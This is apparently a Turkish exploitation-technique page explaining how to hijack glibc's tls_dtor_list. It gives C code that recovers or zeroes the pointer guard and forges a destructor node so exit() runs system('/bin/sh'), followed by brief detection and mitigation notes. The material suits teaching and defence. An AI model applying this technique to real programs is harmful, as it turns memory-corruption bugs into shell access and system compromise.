tls_dtor_list hijack¶
glibc'nin thread-local
tls_dtor_list'ini overwrite ederek thread/process exit'inde__call_tls_dtors'un, attacker-controlled bir function pointer'ı demangle edip attacker-controlled bir argument ile çağırmasını sağlamak.
Mechanism¶
Note
Destructor'ı olan C++11 thread_local object'leri, cleanup'larını
__cxa_thread_atexit_impl (glibc stdlib/nptl, örn. cxa_thread_atexit_impl.c)
üzerinden register eder. Her registration bir node allocate eder ve onu per-thread linked
list tls_dtor_list'in başına ekler. Node şudur:
struct dtor_list {
dtor_func func; /* destructor, stored POINTER-MANGLED */
void *obj; /* argument passed to func */
struct link_map *map; /* owning DSO */
struct dtor_list *next;
};
Exit'te, exit() → __run_exit_handlers(), tls_dtor_list != NULL olduğu sürece
__call_tls_dtors()'u çağırır. List'i dolaşır ve her node için func'u demangle eder
ve func(obj)'i invoke eder. Yani bir attacker bir dtor_list node'u yazabilirse (veya
tls_dtor_list'i sahte bir node'a yöneltebilirse), exit call(controlled_func,
controlled_obj)'i tetikler.
İşin püf noktası pointer guard'dır (PTR_MANGLE): func raw saklanmaz. Registration'da:
ve call zamanında __call_tls_dtors bunu tersine çevirir:
pointer_guard, TCB içinde fs:0x30'da yaşar. Çalışan bir func yerleştirmek için
attacker'ın ROL(target ^ guard, 0x11) sağlaması gerekir, yani guard'ı yenmesi gerekir.
Walkthrough¶
İki malzeme: sahte bir dtor_list node'u ve doğru şekilde mangle edilmiş bir func yaz.
1. Pointer guard'ı kurtar / etkisizleştir. Guard per-thread'dir ve (aynı çalıştırma için) sabittir. Yaygın yenme yolları:
- Bilinen mangle edilmiş bir pointer leak'le. Bilinen bir fonksiyona (örn. genellikle
exit-handler düzeneğinde register edilen
_dl_fini) ait bir pointer mangle edilmiş hâliyle leak edilebilirse, guard'ı cebirsel olarak kurtar:
/* mangled = ROL(known_func ^ guard, 0x11) => guard = ROR(mangled, 0x11) ^ known_func */
guard = ROR(leaked_mangled, 0x11) ^ known_func_addr;
- Guard'ı sıfırla. Bir arbitrary write
fs:0x30'u (veya TCB kopyasını)0'a ayarlayabilirse, manglingfunc = ROR(encoded, 0x11)'e çöker, yani saklanması gereken değer düz birROL(target, 0x11)'dir — secret gerekmez.
2. Node'u forge et ve exit'i ona pivot et.
struct dtor_list fake;
fake.func = (dtor_func) ROL( (uintptr_t)system ^ guard, 0x11 ); /* mangled */
fake.obj = (void *) addr_of_binsh; /* argument == first arg => system("/bin/sh") */
fake.map = 0;
fake.next = 0;
/* arbitrary write: make tls_dtor_list point at &fake */
*tls_dtor_list_ptr = &fake;
exit(0); /* __run_exit_handlers -> __call_tls_dtors -> system("/bin/sh") */
Exit'teki call sırası
exit → __run_exit_handlers → (tls_dtor_list varsa) __call_tls_dtors → her node için:
cur->func PTR_DEMANGLE edilir → cur->func(cur->obj). List, dolaşırken tüketilir
(tls_dtor_list = cur->next), dolayısıyla next = NULL olan tek bir forge edilmiş node tam
olarak bir kez ateşlenir ve temiz bir şekilde durur.
Warning
PTR_MANGLE shift değil, rotate kullanır: 64-bit bir değer üzerinde 0x11 (17) bit
ROL/ROR — logical shift kullanmak yanlış bir mangle üretir ve call çöpe atlar. Ayrıca
fs:0x30'daki guard, stack canary'den ve başka yerde kullanılan __pointer_chk_guard'tan
bağımsızdır; doğru olanı leak/recover et. Statically-linked binary'ler tarihsel olarak
zayıf/sıfır bir guard'a sahipti (CVE-2013-4788), bu da orada bunu zahmetsizce
exploit edilebilir kılar.
Detection¶
- Programın hiç register etmediği bir konumda heap/BSS içine işaret eden bir
tls_dtor_listhead'i veyafunc'u non-text bir adrese demangle olan bir node, kurcalamaya işaret eder. - RELRO + CFI build'leri ve abort-on-demangle-failure yüzeyi azaltır.
Mitigation¶
- Pointer guard'ı randomize tut (static-binary zero-guard bug'ından kaçın; CVE-2013-4788).
tls_dtor_list'in / bir node'un forge edilmesini sağlayan arbitrary-write primitive'ini hardening'e tabi tut — bu teknik yalnızca bir finalizer'dır, kendisi bir memory-corruption bug'ı değildir.